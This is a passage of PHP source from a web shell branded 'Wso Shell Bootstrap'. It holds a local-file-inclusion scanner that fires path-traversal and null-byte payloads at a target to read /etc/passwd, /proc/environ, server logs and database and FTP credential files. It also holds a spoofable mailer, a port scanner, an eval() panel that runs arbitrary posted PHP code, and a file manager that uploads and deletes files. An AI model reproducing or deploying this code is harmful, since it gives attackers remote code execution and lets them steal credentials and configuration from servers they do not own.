  706.          $target = $_POST['lfiurl'];
  707.          $type = $_POST['scantype'];
  708.          $byte1 = $_POST['null'];
  709.          $lfitest = "../../../../../../../../../../../../../../etc/passwd".$byte1."";
  710.          $lfitest2 = "../../../../../../../../../../../../../../fake/file".$byte1."";
  711.          $lfiprocenv = "../../../../../../../../../../../../../../proc/environ".$byte1."";
  712.          $lfiaccess = array(
  713.             1 => "../../../../../../../../../../../../../../apache/logs/access.log".$byte1."",
  714.             2 => "../../../../../../../../../../../../../../etc/httpd/logs/acces_log".$byte1."",
  715.             3 => "../../../../../../../../../../../../../../etc/httpd/logs/acces.log".$byte1."",
  716.             4 => "../../../../../../../../../../../../../../var/www/logs/access_log".$byte1."",
  717.             5 => "../../../../../../../../../../../../../../var/www/logs/access.log".$byte1."",
  718.             6 => "../../../../../../../../../../../../../../usr/local/apache/logs/access_log".$byte1."",
  719.             7 => "../../../../../../../../../../../../../../usr/local/apache/logs/access.log".$byte1."",
  720.             8 => "../../../../../../../../../../../../../../var/log/apache/access_log".$byte1."",
  721.             9 => "../../../../../../../../../../../../../../var/log/apache2/access_log".$byte1."",
  722.             10 => "../../../../../../../../../../../../../../var/log/apache/access.log".$byte1."",
  723.             11 => "../../../../../../../../../../../../../../var/log/apache2/access.log".$byte1."",
  724.             12 => "../../../../../../../../../../../../../../var/log/access_log".$byte1."",
  725.             13 => "../../../../../../../../../../../../../../var/log/access.log".$byte1."",
  726.             14 => "../../../../../../../../../../../../../../var/log/httpd/access_log".$byte1."",
  727.             15 => "../../../../../../../../../../../../../../apache2/logs/access.log".$byte1."",
  728.             16 => "../../../../../../../../../../../../../../logs/access.log".$byte1."",
  729.             17 => "../../../../../../../../../../../../../../usr/local/apache2/logs/access_log".$byte1."",
  730.             18 => "../../../../../../../../../../../../../../usr/local/apache2/logs/access.log".$byte1."",
  731.             19 => "../../../../../../../../../../../../../../var/log/httpd/access.log".$byte1."",
  732.             20 => "../../../../../../../../../../../../../../opt/lampp/logs/access_log".$byte1."",
  733.             21 => "../../../../../../../../../../../../../../opt/xampp/logs/access_log".$byte1."",
  734.             22 => "../../../../../../../../../../../../../../opt/lampp/logs/access.log".$byte1."",
  735.             23 => "../../../../../../../../../../../../../../opt/xampp/logs/access.log".$byte1."");
  736.        
  737.          $lfierror = array(
  738.             1 => "../../../../../../../../../../../../../../apache/logs/error.log".$byte1."",
  739.             2 => "../../../../../../../../../../../../../../etc/httpd/logs/error_log".$byte1."",
  740.             3 => "../../../../../../../../../../../../../../etc/httpd/logs/error.log".$byte1."",
  741.             4 => "../../../../../../../../../../../../../../var/www/logs/error_log".$byte1."",
  742.             5 => "../../../../../../../../../../../../../../var/www/logs/error.log".$byte1."",
  743.             6 => "../../../../../../../../../../../../../../usr/local/apache/logs/error_log".$byte1."",
  744.             7 => "../../../../../../../../../../../../../../usr/local/apache/logs/error.log".$byte1."",
  745.             8 => "../../../../../../../../../../../../../../var/log/apache/error_log".$byte1."",
  746.             9 => "../../../../../../../../../../../../../../var/log/apache2/error_log".$byte1."",
  747.             10 => "../../../../../../../../../../../../../../var/log/apache/error.log".$byte1."",
  748.             11 => "../../../../../../../../../../../../../../var/log/apache2/error.log".$byte1."",
  749.             12 => "../../../../../../../../../../../../../../var/log/error_log".$byte1."",
  750.             13 => "../../../../../../../../../../../../../../var/log/error.log".$byte1."",
  751.             14 => "../../../../../../../../../../../../../../var/log/httpd/error_log".$byte1."",
  752.             15 => "../../../../../../../../../../../../../../apache2/logs/error.log".$byte1."",
  753.             16 => "../../../../../../../../../../../../../../logs/error.log".$byte1."",
  754.             17 => "../../../../../../../../../../../../../../usr/local/apache2/logs/error_log".$byte1."",
  755.             18 => "../../../../../../../../../../../../../../usr/local/apache2/logs/error.log".$byte1."",
  756.             19 => "../../../../../../../../../../../../../../var/log/httpd/error.log".$byte1."",
  757.             20 => "../../../../../../../../../../../../../../opt/lampp/logs/error_log".$byte1."",
  758.             21 => "../../../../../../../../../../../../../../opt/xampp/logs/error_log".$byte1."",
  759.             22 => "../../../../../../../../../../../../../../opt/lampp/logs/error.log".$byte1."",
  760.             23 => "../../../../../../../../../../../../../../opt/xampp/logs/error.log".$byte1."");
  761.  
  762.          $lficonfig = array(
  763.             1 => "../../../../../../../../../../../../../../../usr/local/apache/conf/httpd.conf".$byte1."",
  764.             2 => "../../../../../../../../../../../../../../../usr/local/apache2/conf/httpd.conf".$byte1."",
  765.             3 => "../../../../../../../../../../../../../../../etc/httpd/conf/httpd.conf".$byte1."",
  766.             4 => "../../../../../../../../../../../../../../../etc/apache/conf/httpd.conf".$byte1."",
  767.             5 => "../../../../../../../../../../../../../../../usr/local/etc/apache/conf/httpd.conf".$byte1."",
  768.             6 => "../../../../../../../../../../../../../../../etc/apache2/httpd.conf".$byte1."",
  769.             7 => "../../../../../../../../../../../../../../../usr/local/apache/httpd.conf".$byte1."",
  770.             8 => "../../../../../../../../../../../../../../../usr/local/apache2/httpd.conf".$byte1."",
  771.             9 => "../../../../../../../../../../../../../../../usr/local/httpd/conf/httpd.conf".$byte1."",
  772.             10 => "../../../../../../../../../../../../../../../usr/local/etc/apache2/conf/httpd.conf".$byte1."",
  773.             11 => "../../../../../../../../../../../../../../../usr/local/etc/httpd/conf/httpd.conf".$byte1."",
  774.             12 => "../../../../../../../../../../../../../../../usr/apache2/conf/httpd.conf".$byte1."",
  775.             13 => "../../../../../../../../../../../../../../../usr/apache/conf/httpd.conf".$byte1."",
  776.             14 => "../../../../../../../../../../../../../../../usr/local/apps/apache2/conf/httpd.conf".$byte1."",
  777.             15 => "../../../../../../../../../../../../../../../usr/local/apps/apache/conf/httpd.conf".$byte1."",
  778.             16 => "../../../../../../../../../../../../../../../etc/apache2/conf/httpd.conf".$byte1."",
  779.             17 => "../../../../../../../../../../../../../../../etc/http/conf/httpd.conf".$byte1."",
  780.             18 => "../../../../../../../../../../../../../../../etc/httpd/httpd.conf".$byte1."",
  781.             19 => "../../../../../../../../../../../../../../../etc/http/httpd.conf".$byte1."",
  782.             20 => "../../../../../../../../../../../../../../../etc/httpd.conf".$byte1."",
  783.             21 => "../../../../../../../../../../../../../../../opt/apache/conf/httpd.conf".$byte1."",
  784.             22 => "../../../../../../../../../../../../../../../opt/apache2/conf/httpd.conf".$byte1."",
  785.             23 => "../../../../../../../../../../../../../../../var/www/conf/httpd.conf".$byte1."",
  786.             24 => "../../../../../../../../../../../../../../../private/etc/httpd/httpd.conf".$byte1."",
  787.             25 => "../../../../../../../../../../../../../../../private/etc/httpd/httpd.conf.default".$byte1."",
  788.             26 => "../../../../../../../../../../../../../../../Volumes/webBackup/opt/apache2/conf/httpd.conf".$byte1."",
  789.             27 => "../../../../../../../../../../../../../../../Volumes/webBackup/private/etc/httpd/httpd.conf".$byte1."",
  790.             28 => "../../../../../../../../../../../../../../../Volumes/webBackup/private/etc/httpd/httpd.conf.default".$byte1."",
  791.             29 => "../../../../../../../../../../../../../../../usr/local/php/httpd.conf.php".$byte1."",
  792.             30 => "../../../../../../../../../../../../../../../usr/local/php4/httpd.conf.php".$byte1."",
  793.             31 => "../../../../../../../../../../../../../../../usr/local/php5/httpd.conf.php".$byte1."",
  794.             32 => "../../../../../../../../../../../../../../../usr/local/php/httpd.conf".$byte1."",
  795.             33 => "../../../../../../../../../../../../../../../usr/local/php4/httpd.conf".$byte1."",
  796.             34 => "../../../../../../../../../../../../../../../usr/local/php5/httpd.conf".$byte1."",
  797.             35 => "../../../../../../../../../../../../../../../usr/local/etc/apache/vhosts.conf".$byte1."");
  798.                
  799.           $lfiphpini = array(
  800.             1 => "../../../../../../../../../../../../../../../etc/php.ini".$byte1."",
  801.             2 => "../../../../../../../../../../../../../../../bin/php.ini".$byte1."",
  802.             3 => "../../../../../../../../../../../../../../../etc/httpd/php.ini".$byte1."",
  803.             4 => "../../../../../../../../../../../../../../../usr/lib/php.ini".$byte1."",
  804.             5 => "../../../../../../../../../../../../../../../usr/lib/php/php.ini".$byte1."",
  805.             6 => "../../../../../../../../../../../../../../../usr/local/etc/php.ini".$byte1."",
  806.             7 => "../../../../../../../../../../../../../../../usr/local/lib/php.ini".$byte1."",
  807.             8 => "../../../../../../../../../../../../../../../usr/local/php/lib/php.ini".$byte1."",
  808.             9 => "../../../../../../../../../../../../../../../usr/local/php4/lib/php.ini".$byte1."",
  809.             10 => "../../../../../../../../../../../../../../../usr/local/php5/lib/php.ini".$byte1."",
  810.             11 => "../../../../../../../../../../../../../../../usr/local/apache/conf/php.ini".$byte1."",
  811.             12 => "../../../../../../../../../../../../../../../etc/php4.4/fcgi/php.ini".$byte1."",
  812.             13 => "../../../../../../../../../../../../../../../etc/php4/apache/php.ini".$byte1."",
  813.             14 => "../../../../../../../../../../../../../../../etc/php4/apache2/php.ini".$byte1."",
  814.             15 => "../../../../../../../../../../../../../../../etc/php5/apache/php.ini".$byte1."",
  815.             16 => "../../../../../../../../../../../../../../../etc/php5/apache2/php.ini".$byte1."",
  816.             17 => "../../../../../../../../../../../../../../../etc/php/php.ini".$byte1."",
  817.             18 => "../../../../../../../../../../../../../../../etc/php/php4/php.ini".$byte1."",
  818.             19 => "../../../../../../../../../../../../../../../etc/php/apache/php.ini".$byte1."",
  819.             20 => "../../../../../../../../../../../../../../../etc/php/apache2/php.ini".$byte1."",
  820.             21 => "../../../../../../../../../../../../../../../web/conf/php.ini".$byte1."",
  821.             22 => "../../../../../../../../../../../../../../../usr/local/Zend/etc/php.ini".$byte1."",
  822.             23 => "../../../../../../../../../../../../../../../opt/xampp/etc/php.ini".$byte1."",
  823.             24 => "../../../../../../../../../../../../../../../var/local/www/conf/php.ini".$byte1."",
  824.             25 => "../../../../../../../../../../../../../../../etc/php/cgi/php.ini".$byte1."",
  825.             26 => "../../../../../../../../../../../../../../../etc/php4/cgi/php.ini".$byte1."",
  826.             27 => "../../../../../../../../../../../../../../../etc/php5/cgi/php.ini".$byte1."");
  827.        
  828.           $lfimysql = array(
  829.             1 => "../../../../../../../../../../../../../../../var/log/mysql/mysql-bin.log".$byte1."",
  830.             2 => "../../../../../../../../../../../../../../../var/log/mysql.log".$byte1."",
  831.             3 => "../../../../../../../../../../../../../../../var/log/mysqlderror.log".$byte1."",
  832.             4 => "../../../../../../../../../../../../../../../var/log/mysql/mysql.log".$byte1."",
  833.             5 => "../../../../../../../../../../../../../../../var/log/mysql/mysql-slow.log".$byte1."",
  834.             6 => "../../../../../../../../../../../../../../../var/mysql.log".$byte1."",
  835.             7 => "../../../../../../../../../../../../../../../var/lib/mysql/my.cnf".$byte1."",
  836.             8 => "../../../../../../../../../../../../../../../etc/mysql/my.cnf".$byte1."",
  837.             9 => "../../../../../../../../../../../../../../../var/log/mysqld.log".$byte1."",
  838.             10 => "../../../../../../../../../../../../../../../etc/my.cnf".$byte1."");
  839.        
  840.           $lfiftp = array(
  841.             1 => "../../../../../../../../../../../../../../../etc/logrotate.d/proftpd".$byte1."",
  842.             2 => "../../../../../../../../../../../../../../../www/logs/proftpd.system.log".$byte1."",
  843.             3 => "../../../../../../../../../../../../../../../var/log/proftpd".$byte1."",
  844.             4 => "../../../../../../../../../../../../../../../etc/proftp.conf".$byte1."",
  845.             5 => "../../../../../../../../../../../../../../../etc/protpd/proftpd.conf".$byte1."",
  846.             6 => "../../../../../../../../../../../../../../../etc/vhcs2/proftpd/proftpd.conf".$byte1."",
  847.             7 => "../../../../../../../../../../../../../../../etc/proftpd/modules.conf".$byte1."",
  848.             8 => "../../../../../../../../../../../../../../../var/log/vsftpd.log".$byte1."",
  849.             9 => "../../../../../../../../../../../../../../../etc/vsftpd.chroot_list".$byte1."",
  850.             10 => "../../../../../../../../../../../../../../../etc/logrotate.d/vsftpd.log".$byte1."",
  851.             11 => "../../../../../../../../../../../../../../../etc/vsftpd/vsftpd.conf".$byte1."",
  852.             12 => "../../../../../../../../../../../../../../../etc/vsftpd.conf".$byte1."",
  853.             13 => "../../../../../../../../../../../../../../../etc/chrootUsers".$byte1."",
  854.             14 => "../../../../../../../../../../../../../../../var/log/xferlog".$byte1."",
  855.             15 => "../../../../../../../../../../../../../../../var/adm/log/xferlog".$byte1."",
  856.             16 => "../../../../../../../../../../../../../../../etc/wu-ftpd/ftpaccess".$byte1."",
  857.             17 => "../../../../../../../../../../../../../../../etc/wu-ftpd/ftphosts".$byte1."",
  858.             18 => "../../../../../../../../../../../../../../../etc/wu-ftpd/ftpusers".$byte1."",
  859.             19 => "../../../../../../../../../../../../../../../usr/sbin/pure-config.pl".$byte1."",
  860.             20 => "../../../../../../../../../../../../../../../usr/etc/pure-ftpd.conf".$byte1."",
  861.             21 => "../../../../../../../../../../../../../../../etc/pure-ftpd/pure-ftpd.conf".$byte1."",
  862.             22 => "../../../../../../../../../../../../../../../usr/local/etc/pure-ftpd.conf".$byte1."",
  863.             23 => "../../../../../../../../../../../../../../../usr/local/etc/pureftpd.pdb".$byte1."",
  864.             24 => "../../../../../../../../../../../../../../../usr/local/pureftpd/etc/pureftpd.pdb".$byte1."",
  865.             25 => "../../../../../../../../../../../../../../../usr/local/pureftpd/sbin/pure-config.pl".$byte1."",
  866.             26 => "../../../../../../../../../../../../../../../usr/local/pureftpd/etc/pure-ftpd.conf".$byte1."",
  867.             27 => "../../../../../../../../../../../../../../../etc/pure-ftpd.conf".$byte1."",
  868.             28 => "../../../../../../../../../../../../../../../etc/pure-ftpd/pure-ftpd.pdb".$byte1."",
  869.             29 => "../../../../../../../../../../../../../../../etc/pureftpd.pdb".$byte1."",
  870.             30 => "../../../../../../../../../../../../../../../etc/pureftpd.passwd".$byte1."",
  871.             31 => "../../../../../../../../../../../../../../../etc/pure-ftpd/pureftpd.pdb".$byte1."",
  872.             32 => "../../../../../../../../../../../../../../../usr/ports/ftp/pure-ftpd/".$byte1."",
  873.             33 => "../../../../../../../../../../../../../../../usr/ports/net/pure-ftpd/".$byte1."",
  874.             34 => "../../../../../../../../../../../../../../../usr/pkgsrc/net/pureftpd/".$byte1."",
  875.             35 => "../../../../../../../../../../../../../../../usr/ports/contrib/pure-ftpd/".$byte1."",
  876.             36 => "../../../../../../../../../../../../../../../var/log/pure-ftpd/pure-ftpd.log".$byte1."",
  877.             37 => "../../../../../../../../../../../../../../../logs/pure-ftpd.log".$byte1."",
  878.             38 => "../../../../../../../../../../../../../../../var/log/pureftpd.log".$byte1."",
  879.             39 => "../../../../../../../../../../../../../../../var/log/ftp-proxy/ftp-proxy.log".$byte1."",
  880.             40 => "../../../../../../../../../../../../../../../var/log/ftp-proxy".$byte1."",
  881.             41 => "../../../../../../../../../../../../../../../var/log/ftplog".$byte1."",
  882.             42 => "../../../../../../../../../../../../../../../etc/logrotate.d/ftp".$byte1."",
  883.             43 => "../../../../../../../../../../../../../../../etc/ftpchroot".$byte1."",
  884.             44 => "../../../../../../../../../../../../../../../etc/ftphosts".$byte1."");
  885.        
  886.  
  887.          $x = 1;
  888.          if ( $type == 1 ) {
  889.             $res1 = FetchURL($target.$lfitest);
  890.             $res2 = FetchURL($target.$lfitest2);
  891.             $rhash1 = md5($res1);
  892.             $rhash2 = md5($res2);
  893.             if ($rhash1 != $rhash2) {
  894.                 print "<font color='green'>[+] Exploitable!</font> <a href=\"".$target."".$lfitest."\">".$target."".$lfitest."</a><br  />";
  895.             while($lfiaccess[$x]) {
  896.                 $res3 = FetchURL($target.$lfiaccess[$x]);
  897.                 $rhash3 = md5($res3);
  898.                 if ($rhash3 != $rhash2) {
  899.                 print "<font color='green'>[+] File detected!</font> <a href=\"".$target."".$lfiaccess[$x]."\">".$target."".$lfiaccess[$x]."</a><br  />";
  900.                 }
  901.                 else {            
  902.                               print "<font color='red'>[!] Failed!</font>".$target."".$lfiaccess[$x]."<br  />";
  903.                 }
  904.                 $x++;
  905.       }
  906.       }
  907.          }
  908.          if ( $type == 2 ) {
  909.             $res1 = FetchURL($target.$lfitest);
  910.             $res2 = FetchURL($target.$lfitest2);
  911.             $rhash1 = md5($res1);
  912.             $rhash2 = md5($res2);
  913.             if ($rhash1 != $rhash2) {
  914.                 print "<font color='green'>[+] Exploitable!</font> <a href=\"".$target."".$lfitest."\">".$target."".$lfitest."</a><br  />";
  915.             while($lficonfig[$x]) {
  916.                 $res3 = FetchURL($target.$lficonfig[$x]);
  917.                 $rhash3 = md5($res3);
  918.                 if ($rhash3 != $rhash2) {
  919.                 print "<font color='green'>[+] File detected!</font> <a href=\"".$target."".$lficonfig[$x]."\">".$target."".$lficonfig[$x]."</a><br  />";
  920.                 }
  921.                 else {            
  922.                               print "<font color='red'>[!] Failed!</font>".$target."".$lficonfig[$x]."<br  />";
  923.                 }
  924.                 $x++;
  925.       }
  926.       }
  927.          }
  928.          if ( $type == 3 ) {
  929.             $res1 = FetchURL($target.$lfitest);
  930.             $res2 = FetchURL($target.$lfitest2);
  931.             $rhash1 = md5($res1);
  932.             $rhash2 = md5($res2);
  933.             if ($rhash1 != $rhash2) {
  934.                 print "<font color='green'>[+] Exploitable!</font> <a href=\"".$target."".$lfitest."\">".$target."".$lfitest."</a><br  />";
  935.             while($lfierror[$x]) {
  936.                 $res3 = FetchURL($target.$lfierror[$x]);
  937.                 $rhash3 = md5($res3);
  938.                 if ($rhash3 != $rhash2) {
  939.                 print "<font color='green'>[+] File detected!</font> <a href=\"".$target."".$lfierror[$x]."\">".$target."".$lfierror[$x]."</a><br  />";
  940.                 }
  941.                 else {            
  942.                               print "<font color='red'>[!] Failed!</font>".$target."".$lfierror[$x]."<br  />";
  943.                 }
  944.                 $x++;
  945.       }
  946.       }
  947.          }
  948.          if ( $type == 4 ) {
  949.             $res1 = FetchURL($target.$lfitest);
  950.             $res2 = FetchURL($target.$lfitest2);
  951.             $rhash1 = md5($res1);
  952.             $rhash2 = md5($res2);
  953.             if ($rhash1 != $rhash2) {
  954.                 print "<font color='green'>[+] Exploitable!</font> <a href=\"".$target."".$lfitest."\">".$target."".$lfitest."</a><br  />";
  955.             while($lfiphpini[$x]) {
  956.                 $res3 = FetchURL($target.$lfiphpini[$x]);
  957.                 $rhash3 = md5($res3);
  958.                 if ($rhash3 != $rhash2) {
  959.                 print "<font color='green'>[+] File detected!</font> <a href=\"".$target."".$lfiphpini[$x]."\">".$target."".$lfiphpini[$x]."</a><br  />";
  960.                 }
  961.                 else {            
  962.                               print "<font color='red'>[!] Failed!</font>".$target."".$lfiphpini[$x]."<br  />";
  963.                 }
  964.                 $x++;
  965.       }
  966.       }
  967.          }
  968.          if ( $type == 5 ) {
  969.             $res1 = FetchURL($target.$lfitest);
  970.             $res2 = FetchURL($target.$lfitest2);
  971.             $rhash1 = md5($res1);
  972.             $rhash2 = md5($res2);
  973.             if ($rhash1 != $rhash2) {
  974.                 print "<font color='green'>[+] Exploitable!</font> <a href=\"".$target."".$lfitest."\">".$target."".$lfitest."</a><br  />";
  975.             while($lfimysql[$x]) {
  976.                 $res3 = FetchURL($target.$lfimysql[$x]);
  977.                 $rhash3 = md5($res3);
  978.                 if ($rhash3 != $rhash2) {
  979.                 print "<font color='green'>[+] File detected!</font> <a href=\"".$target."".$lfimysql[$x]."\">".$target."".$lfimysql[$x]."</a><br  />";
  980.                 }
  981.                 else {            
  982.                               print "<font color='red'>[!] Failed!</font>".$target."".$lfimysql[$x]."<br  />";
  983.                 }
  984.                 $x++;
  985.       }
  986.       }
  987.          }
  988.          if ( $type == 6 ) {
  989.             $res1 = FetchURL($target.$lfitest);
  990.             $res2 = FetchURL($target.$lfitest2);
  991.             $rhash1 = md5($res1);
  992.             $rhash2 = md5($res2);
  993.             if ($rhash1 != $rhash2) {
  994.                 print "<font color='green'>[+] Exploitable!</font> <a href=\"".$target."".$lfitest."\">".$target."".$lfitest."</a><br  />";
  995.             while($lfiftp[$x]) {
  996.                 $res3 = FetchURL($target.$lfiftp[$x]);
  997.                 $rhash3 = md5($res3);
  998.                 if ($rhash3 != $rhash2) {
  999.                 print "<font color='green'>[+] File detected!</font> <a href=\"".$target."".$lfiftp[$x]."\">".$target."".$lfiftp[$x]."</a><br  />";
  1000.                 }
  1001.                 else {            
  1002.                               print "<font color='red'>[!] Failed!</font>".$target."".$lfiftp[$x]."<br  />";
  1003.                 }
  1004.                 $x++;
  1005.       }
  1006.       }
  1007.          }
  1008. if ( $type == 7 ) {
  1009.             $res1 = FetchURL($target.$lfitest);
  1010.             $res2 = FetchURL($target.$lfitest2);
  1011.             $rhash1 = md5($res1);
  1012.             $rhash2 = md5($res2);
  1013.             if ($rhash1 != $rhash2) {
  1014.                 print "<font color='green'>[+] Exploitable!</font> <a href=\"".$target."".$lfitest."\">".$target."".$lfitest."</a><br  />";{
  1015.                 $res3 = FetchURL($target.$lfiprocenv);
  1016.                 $rhash3 = md5($res3);
  1017.                 if ($rhash3 != $rhash2) {
  1018.                 print "<font color='green'>[+] File detected!</font> <a href=\"".$target."".$lfiprocenv."\">".$target."".$lfiprocenv."</a><br  />";
  1019.                 }
  1020.                 else {            
  1021.                               print "<font color='red'>[!] Failed!</font>".$target."".$lfiprocenv."<br  />";
  1022.                 }
  1023.       }
  1024.       }
  1025.          }
  1026.       }
  1027. echo '</div></div>';
  1028.    echo "
  1029.   <footer><center><small>Wso Shell Bootstrap  &copy;  Coded By <a target='_blank' class='xa' href='https://twitter.com/coderantidote'>Antidote</a></small> </center></footer>
  1030.   ";
  1031. }
  1032. function actionphptools() {
  1033. wsoHeader();
  1034. ?><?php
  1035. if (isset($_POST['to']) && isset($_POST['from']) && isset($_POST['subject']) && isset($_POST['body'])) {
  1036.  $headers = 'From: '.$_POST['from'];
  1037.  mail ($_POST['to'],$_POST['subject'],$_POST['body'],$headers);
  1038.  echo 'Email sent.';
  1039. }
  1040. echo '
  1041.  
  1042.  
  1043. <div  class="container-fluid">
  1044. <div style="margin-bottom:4px;" class="well">
  1045. <table class="table table-striped table-hover ">
  1046. <tr>
  1047. <th>
  1048. <span  class="label label-danger">Mailer</span>
  1049. <form  action="'.$surl.'" method=POST>
  1050. <input type="hidden" name="a" value="phptools">
  1051. <input type=text name=to value=to><br>
  1052. <input type=text name=from value=from><br>
  1053. <input type=text name=subject value=subject><br>
  1054. <input type=text name=body value=body><br>
  1055. <input type=submit name=submit style="margin-top:3px;" class="btn btn-success btn-xs" value=Submit></form>
  1056. </th>';
  1057.  
  1058.  
  1059. echo '<th><span  class="label label-danger">Port Scanner</span>';
  1060. $start = strip_tags($_POST['start']);
  1061. $end = strip_tags($_POST['end']);
  1062. $host = strip_tags($_POST['host']);
  1063.  
  1064. if(isset($_POST['host']) && is_numeric($_POST['end']) && is_numeric($_POST['start'])){
  1065. for($i = $start; $i<=$end; $i++){
  1066.  $fp = @fsockopen($host, $i, $errno, $errstr, 3);
  1067.  if($fp){
  1068.   echo 'Port '.$i.' is <font color=green>open</font><br>';
  1069.  }
  1070.  flush();
  1071.  }
  1072. }else{
  1073. echo '
  1074.  
  1075. <form action="?" method="POST">
  1076. <input type="hidden" name="a" value="phptools">
  1077. Host:<br />
  1078. <input type="text" name="host" value="localhost"/><br />
  1079. Port start:<br />
  1080. <input type="text" name="start" value="0"/><br />
  1081. Port end:<br />
  1082. <input type="text" name="end" value="5000"/><br />
  1083. <input type="submit" style="margin-top:3px;" class="btn btn-success btn-xs" value="Scan Ports" />
  1084. </form></th>
  1085.  
  1086. ';
  1087. }
  1088. echo "
  1089. <td>
  1090. <center><img src='http://www.yougetsignal.com/img/site_logo.gif'>
  1091. <form method='POST' action=''>
  1092. <input type='hidden' name='a' value='phptools'><input type='text' size='60' value='yahoo.com' name='ghost' />&nbsp;<input type='submit' value='&nbsp;&check;&nbsp;'></form>
  1093. </center>
  1094. ";
  1095. if(isset($_POST["ghost"]))
  1096. {
  1097. $site = $_POST["ghost"];
  1098. $ghost = "http://domains.yougetsignal.com/domains.php";
  1099.  
  1100. //Curl Function
  1101. $ch = curl_init($ghost);
  1102. curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1 );
  1103. curl_setopt($ch, CURLOPT_POSTFIELDS,  "remoteAddress=$site&ket=");
  1104. curl_setopt($ch, CURLOPT_HEADER, 0);
  1105. curl_setopt($ch, CURLOPT_POST, 1);
  1106. $resp = curl_exec($ch);
  1107. $resp = str_replace("[","", str_replace("]","", str_replace("\"\"","", str_replace(", ,",",", str_replace("{","", str_replace("{","", str_replace("}","", str_replace(", ",",", str_replace(", ",",",  str_replace("'","", str_replace("'","", str_replace(":",",", str_replace('"','', $resp ) ) ) ) ) ) ) ) ) ))));
  1108. $array = explode(",,", $resp);
  1109. unset($array[0]);
  1110. echo '<div class="well well-lg">';
  1111. foreach($array as $lnk)
  1112. {
  1113.     print
  1114.  $lnk.'<br>';
  1115. }
  1116.  
  1117. curl_close($ch);
  1118. }
  1119. echo '
  1120. <td>
  1121. </tr>
  1122. </table>
  1123. </div></div>
  1124. </div>
  1125. </div>
  1126. ';
  1127.   echo "
  1128.   <footer><center><small>Wso Shell Bootstrap  &copy;  Coded By <a target='_blank' class='xa' href='https://twitter.com/coderantidote'>Antidote</a></small> </center></footer>
  1129.   ";
  1130.    }
  1131. ?>
  1132.  
  1133. <?php
  1134. function actionPhp() {
  1135.  if(isset($_POST['ajax'])) {
  1136.   $_SESSION[md5($_SERVER['HTTP_HOST']) . 'ajax'] = true;
  1137.   ob_start();
  1138.   eval($_POST['p1']);
  1139.   $temp = "document.getElementById('PhpOutput').style.display='';document.getElementById('PhpOutput').innerHTML='" . addcslashes(htmlspecialchars(ob_get_clean()), "\n\r\t\\'\0") . "';\n";
  1140.   echo strlen($temp), "\n", $temp;
  1141.   exit;
  1142.  }
  1143.  wsoHeader();
  1144.  if(isset($_POST['p2']) && ($_POST['p2'] == 'info')) {
  1145.   echo '<div class="container-fluid"><span  class="label label-default">PHP info</span><style>
  1146.  hr {
  1147. background-color: #A9A9A9;
  1148. color: #A9A9A9;
  1149. }
  1150. .bigarea{ width:100%;height:250px; }
  1151. .e, .v, .vr {
  1152. color: #333;
  1153. font-family: Verdana, Helvetica, sans-serif;
  1154. font-size: 11px;
  1155. }
  1156. .e {
  1157. background-color: #eee;
  1158. }
  1159. .h {
  1160. background-color: #0B5FB4;
  1161. color: #fff;
  1162. }
  1163. .v {
  1164. background-color: #F1F1F1;
  1165. -ms-word-break: break-all;
  1166. word-break: break-all;
  1167. word-break: break-word;
  1168. -webkit-hyphens: auto;
  1169. -moz-hyphens: auto;
  1170. hyphens: auto;
  1171. }
  1172.  </style>';
  1173.   ob_start();
  1174.   phpinfo();
  1175.   $tmp = ob_get_clean();
  1176.         $tmp = preg_replace('!(body|a:\w+|body, td, th, h1, h2) {.*}!msiU','',$tmp);
  1177.   $tmp = preg_replace('!td, th {(.*)}!msiU','.e, .v, .h, .h th {$1}',$tmp);
  1178.   echo str_replace('<h1','<h2', $tmp) .'</div><br>';
  1179.  }
  1180.  if(empty($_POST['ajax']) && !empty($_POST['p1']))
  1181.   $_SESSION[md5($_SERVER['HTTP_HOST']) . 'ajax'] = false;
  1182.     echo '<div class="container-fluid"><span  class="label label-default">Execution PHP-code(Eval)</span>
  1183. <div style="margin-top:4pt;" class="well">
  1184. <form name=pf method=post onsubmit="if(this.ajax.checked){a(\'Php\',null,this.code.value);}else{g(\'Php\',null,this.code.value,\'\');}return false;"><textarea name=code class=bigarea id=PhpCode>'.(!empty($_POST['p1'])?htmlspecialchars($_POST['p1']):'').'</textarea><input type=submit  style="margin-left:3px;margin-bottom:3px;" class="btn btn-success btn-xs" value=">>" style="margin-top:5px">';
  1185.  echo ' <input type=checkbox name=ajax value=1 '.($_SESSION[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'').'> send using AJAX</form><pre id=PhpOutput style="'.(empty($_POST['p1'])?'display:none;':'').'margin-top:5px;" class=ml1>';
  1186.  if(!empty($_POST['p1'])) {
  1187.   ob_start();
  1188.   eval($_POST['p1']);
  1189.   echo htmlspecialchars(ob_get_clean());
  1190.  }
  1191.  echo '</pre></div></div>
  1192.  
  1193. ';
  1194.    echo "
  1195.   <footer><center><small>Wso Shell Bootstrap  &copy;  Coded By <a target='_blank' class='xa' href='https://twitter.com/coderantidote'>Antidote</a></small> </center></footer>
  1196.   ";
  1197. }
  1198.  
  1199. function actionFilesMan() {
  1200.  wsoHeader();
  1201.  echo '
  1202. <div style="margin-bottom:5pt;" class="container-fluid">
  1203. <span class="label label-default">
  1204. Dosya Yöneticisi
  1205. <script>p1_=p2_=p3_="";</script>
  1206. </span>
  1207.  </div>';
  1208.  if(!empty($_POST['p1'])) {
  1209.   switch($_POST['p1']) {
  1210.    case 'uploadFile':
  1211.     if(!@move_uploaded_file($_FILES['f']['tmp_name'], $_FILES['f']['name']))
  1212.      echo "Can't upload file!";
  1213.     break;
  1214.    case 'mkdir':
  1215.     if(!@mkdir($_POST['p2']))
  1216.      echo "Can't create new dir";
  1217.     break;
  1218.    case 'delete':
  1219.     function deleteDir($path) {
  1220.      $path = (substr($path,-1)=='/') ? $path:$path.'/';
  1221.      $dh  = opendir($path);
  1222.      while ( ($item = readdir($dh) ) !== false) {
  1223.       $item = $path.$item;
  1224.       if ( (basename($item) == "..") || (basename($item) == ".") )
  1225.        continue;
  1226.       $type = filetype($item);
  1227.       if ($type == "dir")
  1228.        deleteDir($item);
  1229.       else
  1230.        @unlink($item);
  1231.      }
  1232.      closedir($dh);
  1233.      @rmdir($path);
  1234.     }
  1235.     if(is_array(@$_POST['f']))
  1236.      foreach($_POST['f'] as $f) {
  1237.                         if($f == '..')
  1238.                             continue;
  1239.       $f = urldecode($f);
  1240.       if(is_dir($f))
  1241.        deleteDir($f);
  1242.       else
  1243.        @unlink($f);
  1244.      }
  1245.     break;
  1246.    case 'paste':
  1247.     if($_SESSION['act'] == 'copy') {
  1248.      function copy_paste($c,$s,$d){
  1249.       if(is_dir($c.$s)){
